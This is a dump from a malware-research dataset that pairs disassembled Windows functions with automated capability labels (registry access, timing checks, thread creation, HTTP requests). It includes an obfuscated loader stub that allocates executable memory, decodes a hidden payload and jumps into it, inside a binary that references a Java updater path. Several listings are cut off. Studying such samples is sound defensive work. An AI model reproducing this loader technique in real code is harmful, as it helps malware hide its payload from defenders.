joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000d767
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
xor esi, esi
call dword [sym.imp.kernel32.dll_GetTickCount]
mov ebp, dword [esp + 0x34]
mov edi, eax
push esi
and ebp, 1
mov dword [esp + 0x14], edi
push ebp
push dword [esp + 0x48]
push dword [esp + 0x48]
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
cmp eax, 0xffffffff
jne 0x1000d7be
call dword [sym.imp.kernel32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
push esi
push str.WaitForMultipleObjects__08x_
call fcn.1000faa8
pop ecx
pop ecx
jmp 0x1000d8bc
cmp eax, 0x102
jne 0x1000d8b6
mov ebx, dword [esp + 0x38]
push 0x1cbf
push ebx
push ebp
push dword [esp + 0x4c]
push dword [esp + 0x4c]
call dword [sym.imp.user32.dll_MsgWaitForMultipleObjects]
mov ecx, eax
cmp ecx, 0xffffffff
jne 0x1000d817
call dword [sym.imp.kernel32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
push esi
push str.MsgWaitForMultipleObjects__08x_
call fcn.1000faa8
mov dword [esp + 0x18], edi
pop ecx
pop ecx
test esi, esi
jns 0x1000d7cd
jmp 0x1000d8bc
cmp ecx, 0x102
je 0x1000d8af
cmp dword [esp + 0x3c], ecx
jne 0x1000d8a7
call dword [sym.imp.kernel32.dll_GetTickCount]
mov edi, eax
mov dword [esp + 0x34], eax
sub edi, dword [esp + 0x10]
xor eax, eax
push 1
push eax
push eax
push eax
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.user32.dll_PeekMessageA]
test eax, eax
je 0x1000d886
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.user32.dll_DispatchMessageA]
call dword [sym.imp.kernel32.dll_GetTickCount]
mov edi, eax
mov dword [esp + 0x34], eax
sub edi, dword [esp + 0x10]
cmp edi, ebx
ja 0x1000d8af
push 1
xor eax, eax
push eax
push eax
push eax
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.user32.dll_PeekMessageA]
test eax, eax
jne 0x1000d84f
jmp 0x1000d88a
cmp edi, ebx
ja 0x1000d8af
mov eax, dword [esp + 0x34]
mov dword [esp + 0x10], eax
mov eax, ebx
sub eax, edi
mov edi, dword [esp + 0x10]
cmp ebx, 0xffffffff
cmove eax, ebx
mov ebx, eax
jmp 0x1000d7cd
mov eax, dword [esp + 0x44]
mov dword [eax], ecx
jmp 0x1000d8bc
mov esi, 0x80010115
jmp 0x1000d8bc
mov ecx, dword [esp + 0x44]
mov dword [ecx], eax
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret

Function at 0x1000dccc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
lea eax, [esi + 0xc]
push eax
xor eax, eax
push eax
push esi
push 0x1000d8c6
push eax
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 8], eax
pop esi
test eax, eax
je 0x1000dcf5
leave
ret
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
lea ecx, [ebp - 4]
push dword [eax]
call fcn.1000d8d4
push 0x1003287c
lea eax, [ebp - 4]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x1000e1e3
Capabilities:
Query environment variable
Query or enumerate registry value
Set registry value

Disassembly:
mov eax, 0x1010
call fcn.10011670
mov eax, dword [0x10038540]
xor eax, esp
mov dword [esp + 0x100c], eax
push ebx
mov ebx, dword [esp + 0x1018]
lea eax, [esp + 0x10]
push ebp
push esi
push edi
mov edi, dword [esp + 0x1028]
mov ebp, 0x800
xor esi, esi
mov dword [esp + 0x18], 1
push ebp
push esi
push eax
mov dword [esp + 0x1c], esi
call sub.VCRUNTIME140.dll_memset
push ebp
lea eax, [esp + 0x82c]
push esi
push eax
call sub.VCRUNTIME140.dll_memset
push ebx
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
add esp, 0x1c
test eax, eax
je 0x1000e27e
push eax
push dword [esp + 0x1030]
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0xc
test eax, eax
je 0x1000e3f6
xor eax, eax
mov ecx, dword [esp + 0x101c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100111d2
add esp, 0x1010
ret
lea eax, [esp + 0x10]
push eax
push 0x20019
push esi
push dword [0x10037804]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000e263
lea eax, [esp + 0x102c]
push eax
push edi
lea eax, [esp + 0x20]
push eax
push esi
push ebx
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x1000e3da
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x800
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
push esi
push 0x1002a220
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x1000e2f9
xor esi, esi
inc esi
jmp 0x1000e3da
push dword [esp + 0x10]
call ebp
lea eax, [esp + 0x10]
push eax
push 0x20019
push esi
push str.SOFTWAREOracleJavaDeploy
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000e2f1
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x800
push eax
lea eax, [esp + 0x820]
push eax
lea eax, [esp + 0x20]
push eax
push esi
push str.deployment.modified.timestamp
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000e2f1
lea eax, [esp + 0x1c]
mov dword [esp + 0x14], 0x800
push eax
lea eax, [esp + 0x820]
push eax
call dword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbscmp]
pop ecx
pop ecx
test eax, eax
js 0x1000e3f6
lea eax, [esp + 0x14]
push eax
push edi
lea eax, [esp + 0x20]
push eax
push esi
push ebx
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000e2f1
push dword [esp + 0x10]
call ebp
call fcn.10012c4f
test eax, eax
jne 0x1000e3f6
lea eax, [esp + 0x10]
push eax
push 0x20006
push esi
push dword [0x10037804]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000e263
push dword [esp + 0x14]
push edi
push 1
push esi
push ebx
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1000e3e7
push dword [esp + 0x10]
call ebp
mov eax, esi
jmp 0x1000e265
push dword [esp + 0x10]
call ebp
push edi
push ebx
call fcn.10012c4f
pop ecx
pop ecx
xor eax, eax
inc eax
jmp 0x1000e265
Function at 0x1000e5cb
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov eax, 0x1814
call fcn.10011670
mov eax, dword [0x10038540]
xor eax, esp
mov dword [esp + 0x1810], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x1824]
lea eax, [esp + 0x1c]
push edi
mov ebp, 0x800
xor ebx, ebx
push ebp
push ebx
push eax
mov edi, ebx
call sub.VCRUNTIME140.dll_memset
push ebp
lea eax, [esp + 0x830]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
mov dword [esp + 0x10], ebp
lea eax, [esp + 0x18]
push eax
push 0x20019
push ebx
push 0x1002a114
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000e73e
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea eax, [esp + 0x10]
push ebx
push ebx
push ebx
push ebx
push eax
lea eax, [esp + 0x34]
push eax
push ebx
push dword [esp + 0x34]
call ebp
test eax, eax
jne 0x1000e73e
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [esp + 0x20]
push eax
push 0x1002a140
push 0x1002a16c
lea eax, [esp + 0x82c]
push 0x800
push eax
call fcn.1000d6d9
add esp, 0x14
lea eax, [esp + 0x14]
push eax
push 0x20019
push 0
lea eax, [esp + 0x82c]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000e716
push 0x800
push eax
lea eax, [esp + 0x1028]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x10], 0x800
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x1024]
push eax
lea eax, [esp + 0x24]
push eax
push 0
push 0x1002a174
push dword [esp + 0x28]
call ebx
test eax, eax
jne 0x1000e716
cmp dword [esp + 0x10], eax
jbe 0x1000e716
mov eax, dword [esp + 0x182c]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
push eax
push esi
lea eax, [esp + 0x24]
push eax
push 0
push 0x1002a180
push dword [esp + 0x28]
call ebx
xor eax, eax
mov dword [esp + 0x10], 0x800
push eax
push eax
push eax
push eax
lea eax, [esp + 0x20]
inc edi
push eax
lea eax, [esp + 0x34]
push eax
push edi
push dword [esp + 0x34]
call ebp
test eax, eax
je 0x1000e665
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1000e741
sub esi, ecx
xor eax, eax
mov ecx, dword [esp + 0x1820]
cmp eax, esi
pop edi
pop esi
pop ebp
sbb eax, eax
pop ebx
xor ecx, esp
neg eax
call fcn.100111d2
add esp, 0x1814
ret
Function at 0x1000e76b
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x128]
sub esp, 0x1a8
mov eax, dword [0x10038540]
xor eax, ebp
mov dword [ebp + 0x124], eax
push ebx
push 0x104
xor ebx, ebx
lea eax, [ebp + 0x20]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp + 0x20]
push eax
push ebx
push ebx
push 0x2c
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x1000e7b5
xor eax, eax
jmp 0x1000e8b1
push esi
push edi
lea eax, [ebp + 0x20]
push eax
lea ecx, [ebp - 0x10]
call fcn.10002993
push 0x1d
push str.JavaJava_Updatejucheck.exe
mov ecx, eax
call fcn.10012c4f
push eax
lea ecx, [ebp - 0x28]
call fcn.1000711c
lea ecx, [ebp - 0x10]
call fcn.10002d36
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x10]
push 0x22
push eax
call fcn.10012c4f
add esp, 0xc
mov esi, eax
mov ecx, esi
push 0x22
call fcn.10012c4f
push esi
lea ecx, [ebp + 8]
call fcn.1000711c
lea ecx, [ebp - 0x10]
call fcn.10002d36
push 0x44
pop esi
push esi
lea eax, [ebp - 0x80]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [ebp - 0x80], esi
lea edi, [ebp - 0x3c]
add esp, 0xc
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
stosd dword es:[edi], eax
lea edx, [ebp - 0x29]
cmovae ecx, dword [ebp + 8]
push edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebp + 0x18]
add eax, ecx
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
cmovae ecx, dword [ebp + 8]
push eax
push ecx
lea ecx, [ebp - 4]
call fcn.10012c4f
lea eax, [ebp - 0x29]
mov byte [ebp - 0x29], bl
push eax
lea ecx, [ebp - 4]
call fcn.1000eaca
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x80]
push ecx
push ebx
push ebx
push 0x8000000
push 1
push ebx
push ebx
push dword [ebp - 4]
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.10012c4f
add esp, 0x28
lea ecx, [ebp - 4]
neg eax
sbb esi, esi
neg esi
call fcn.1000ecc4
lea ecx, [ebp + 8]
call fcn.10002d36
lea ecx, [ebp - 0x28]
call fcn.10002d36
pop edi
mov eax, esi
pop esi
mov ecx, dword [ebp + 0x124]
xor ecx, ebp
pop ebx
call fcn.100111d2
add ebp, 0x128
leave
ret
Function at 0x1000f4e6
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov eax, 0x2018
call fcn.10011670
mov eax, dword [0x10038540]
xor eax, esp
mov dword [esp + 0x2014], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x2028]
lea eax, [esp + 0x20]
push edi
mov ebp, 0x800
mov dword [esp + 0x1c], esi
xor ebx, ebx
push ebp
push ebx
push eax
mov edi, ebx
call sub.VCRUNTIME140.dll_memset
push ebp
lea eax, [esp + 0x834]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
mov dword [esp + 0x10], ebp
lea eax, [esp + 0x18]
push eax
push 0x20019
push ebx
push 0x1002ba38
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000f661
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea eax, [esp + 0x10]
push ebx
push ebx
push ebx
push ebx
push eax
lea eax, [esp + 0x38]
push eax
push ebx
push dword [esp + 0x34]
call ebp
test eax, eax
jne 0x1000f661
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [esp + 0x24]
push eax
push str.SOFTWAREJavaSoftJava_Runtime_Environment
push str._s_s
lea eax, [esp + 0x830]
push 0x800
push eax
call fcn.1000d6d9
add esp, 0x14
lea eax, [esp + 0x14]
push eax
push 0x20019
push 0
lea eax, [esp + 0x830]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000f639
push 0x800
push eax
lea eax, [esp + 0x102c]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x10], 0x800
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x1028]
push eax
lea eax, [esp + 0x24]
push eax
push 0
push str.RuntimeLib
push dword [esp + 0x28]
call ebx
test eax, eax
jne 0x1000f639
cmp dword [esp + 0x10], eax
jbe 0x1000f639
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x800
push eax
lea eax, [esp + 0x1828]
push eax
lea eax, [esp + 0x24]
push eax
push 0
push 0x1002baa4
push dword [esp + 0x28]
call ebx
xor eax, eax
mov dword [esp + 0x10], 0x800
push eax
push eax
push eax
push eax
lea eax, [esp + 0x20]
inc edi
push eax
lea eax, [esp + 0x38]
push eax
push edi
push dword [esp + 0x34]
call ebp
test eax, eax
je 0x1000f584
lea eax, [esp + 0x1824]
mov ecx, esi
push eax
call fcn.1000d1fe
mov ecx, dword [esp + 0x2024]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100111d2
add esp, 0x2018
ret
Function at 0x1000f924
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x824
mov eax, dword [0x10038540]
xor eax, esp
mov dword [esp + 0x820], eax
push ebx
push ebp
mov ebp, dword [esp + 0x830]
lea eax, [esp + 0x428]
push esi
mov esi, dword [esp + 0x838]
xor ebx, ebx
push edi
mov edi, 0x400
push edi
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
push esi
push ebx
push ebp
push 0xffffffffffffffff
lea eax, [esp + 0x44c]
push edi
push eax
call fcn.10012c4f
movzx ecx, byte [esp + 0x853]
lea edi, [esp + 0x34]
xor edx, edx
test eax, eax
push 8
cmovs ecx, edx
xor eax, eax
mov byte [esp + 0x857], cl
pop ecx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x34]
push 0x20
push eax
call fcn.10012c4f
push 0x1002d384
lea eax, [esp + 0x40]
push 0x20
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
push 0x400
lea eax, [esp + 0x6c]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
mov ecx, ebp
add esp, 0x44
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000f9ca
sub ecx, edx
cmp ecx, 6
jbe 0x1000f9f2
lea eax, [ebp - 6]
add eax, ecx
push str.__08x_
push eax
call dword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbscmp]
pop ecx
pop ecx
test eax, eax
jne 0x1000f9f2
xor ebx, ebx
inc ebx
lea esi, [esp + 0x10]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1000f9f9
sub esi, ecx
lea eax, [esp + 0x430]
push eax
mov ecx, 0x1002d2ba
test ebx, ebx
mov eax, str.Error:
cmove eax, ecx
push eax
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
push eax
push str.P:_04d_T:_04d__s_s
mov eax, 0x3ff
sub eax, esi
push 0xffffffffffffffff
push eax
lea eax, [esp + 0x4c]
add eax, esi
push eax
call fcn.10012c4f
mov ecx, dword [esp + 0x44b]
test eax, eax
push esi
lea eax, [esp + 0x34]
mov edx, 0x2e2e2e
push eax
lea eax, [esp + 0x58]
cmovs ecx, edx
push eax
mov dword [esp + 0x457], ecx
call sub.VCRUNTIME140.dll_memcpy
lea edi, [esp + 0x5c]
add esp, 0x2c
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000fa73
mov ax, word [0x1002d3b0]
mov word [edi], ax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
mov ecx, dword [esp + 0x830]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100111d2
add esp, 0x824
ret
Function at 0x10012c4f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x10012c5e
pop dword [ebp - 0x50]
mov eax, 0x10012c5e
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xab089ba8
sub dword [ebp - 0x60], 0x5cb6565d
mov dword [ebp - 0x5c], 0xe0e4673
add dword [ebp - 0x5c], 0x242505d2
mov dword [ebp - 0x58], 0x7bdbfecd
add dword [ebp - 0x58], 0xd0704561
mov dword [ebp - 0x54], 0x34ea9e01
add dword [ebp - 0x54], 0xcb1561ff
lea eax, [ebp - 0x60]
push eax
mov eax, 0xd09f2940
sub eax, 0xc09dd8ac
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x96b6a7c6
add dword [ebp - 0x60], 0xddbbc190
mov dword [ebp - 0x5c], 0x5851de72
add dword [ebp - 0x5c], 0xe91a8303
mov dword [ebp - 0x58], 0xf031c05c
add dword [ebp - 0x58], 0x733dac10
mov dword [ebp - 0x54], 0x9f36970b
sub dword [ebp - 0x54], 0x9f36970b
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x432014d0
add eax, 0xcce13bc8
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x388d8
push 0
call eax
mov ecx, 0x4705
mov ebx, eax
mov esi, 0x10042c00
add esi, dword [ebp - 0x50]
mov edx, 0xafa8b36e
sub dword [ebp - 0x48], eax
mov edi, dword [esi]
xor dword [ebp - 0x10], 0xcf70f1d6
add edi, edx
sub dword [ebp - 0x20], 0xbb318ebb
mov dword [ebx], edi
add ebx, 0x36e43514
add ebx, 0xc91bcaf0
add esi, 4
loop 0x10012d69
add eax, 0xa345be74
add eax, 0x5cbb5073
xor ebx, ebx
add ebx, eax
add eax, 0xb5a276d0
sub eax, 0xb5a276cb
mov ecx, 0x52dcb6e6
sub ecx, 0x42dcb6e6
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x401989
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x403da7
call sub.MSVCRT.dll__EH_prolog
mov eax, 0x1038
call fcn.004039c0
push ebx
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fopen]
push 0x40720c
push dword [ebp + 8]
call edi
mov ebx, eax
xor esi, esi
pop ecx
cmp ebx, esi
pop ecx
mov dword [ebp - 0x24], ebx
je 0x401c4f
push 0x407208
push dword [ebp + 0xc]
call edi
pop ecx
cmp eax, esi
pop ecx
mov dword [ebp + 0xc], eax
jne 0x4019e0
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
jmp 0x401c4e
mov ecx, 0x1ff
xor eax, eax
lea edi, [ebp - 0x842]
mov word [ebp - 0x844], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, 0x3ff
push ebx
lea eax, [ebp - 0x844]
mov dword [ebp - 0x10], esi
mov dword [ebp + 8], esi
mov esi, dword [sym.imp.MSVCRT.dll_fgetws]
push edi
push eax
call esi
add esp, 0xc
test eax, eax
je 0x401a4a
push 6
lea eax, [ebp - 0x844]
push 0x4071f8
push eax
call dword [sym.imp.MSVCRT.dll_wcsncmp]
add esp, 0xc
test eax, eax
jne 0x401a3c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
inc dword [ebp + 8]
push ebx
lea eax, [ebp - 0x844]
push edi
push eax
jmp 0x401a12
push ebx
call dword [sym.imp.MSVCRT.dll_rewind]
and dword [ebp + 8], 0
push ebx
lea eax, [ebp - 0x844]
push edi
push eax
call esi
add esp, 0x10
test eax, eax
je 0x401c3f
mov ebx, dword [sym.imp.MSVCRT.dll_fwrite]
mov esi, 0x4071f4
Function at 0x401c5e
Capabilities:
Copy file
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x618
push ebx
mov ebx, ecx
push esi
push edi
lea esi, [ebx + 0x1d0]
push 0x208
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x206
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll__mbsrchr]
cmp byte [eax], 0
pop ecx
pop ecx
je 0x401ca4
and byte [eax + 1], 0
lea eax, [ebx + 0x3d8]
push esi
push eax
call sub.MSVCRT.dll_strcpy
and byte [ebp - 0x618], 0
mov esi, 0x81
mov ecx, esi
xor eax, eax
lea edi, [ebp - 0x617]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebx + 0x1d0]
push eax
lea eax, [ebp - 0x618]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x618]
push str.crash_
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
lea eax, [ebp - 0x618]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
and byte [ebp - 0x410], 0
mov ecx, esi
xor eax, eax
lea edi, [ebp - 0x40f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebx + 0x1d0]
push eax
lea eax, [ebp - 0x410]
push eax
call sub.MSVCRT.dll_strcpy
push dword [0x4075b0]
lea eax, [ebp - 0x410]
push eax
call sub.MSVCRT.dll_strcat
and byte [ebp - 0x208], 0
mov ecx, esi
xor eax, eax
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x618]
push eax
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x208]
push str.crash.dmp
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x20
lea eax, [ebp - 0x208]
push 0
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and byte [ebp - 0x208], 0
mov ecx, esi
xor eax, eax
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebx + 0x1d0]
push eax
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_strcpy
push dword [0x4075b4]
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_strcat
and byte [ebp - 0x410], 0
mov ecx, esi
xor eax, eax
lea edi, [ebp - 0x40f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x618]
push eax
lea eax, [ebp - 0x410]
push eax
call sub.MSVCRT.dll_strcpy
invalid
invalid
Function at 0x4021c0
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
mov eax, 0x403e32
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x15c
mov al, byte [ebp + 0x13]
push ebx
push esi
xor ebx, ebx
push edi
push ebx
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x18], 0xbb8
mov byte [ebp - 0x48], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp + 0x13]
push ebx
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], ebx
mov byte [ebp - 0x58], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp + 0x13]
push ebx
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
mov byte [ebp - 0x28], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov esi, 0x407488
push esi
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push esi
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
mov al, byte [ebp + 0x13]
push ebx
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 2
mov byte [ebp - 0x38], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov edi, 0x4073c8
push edi
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push edi
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x167]
invalid
popfd
cwde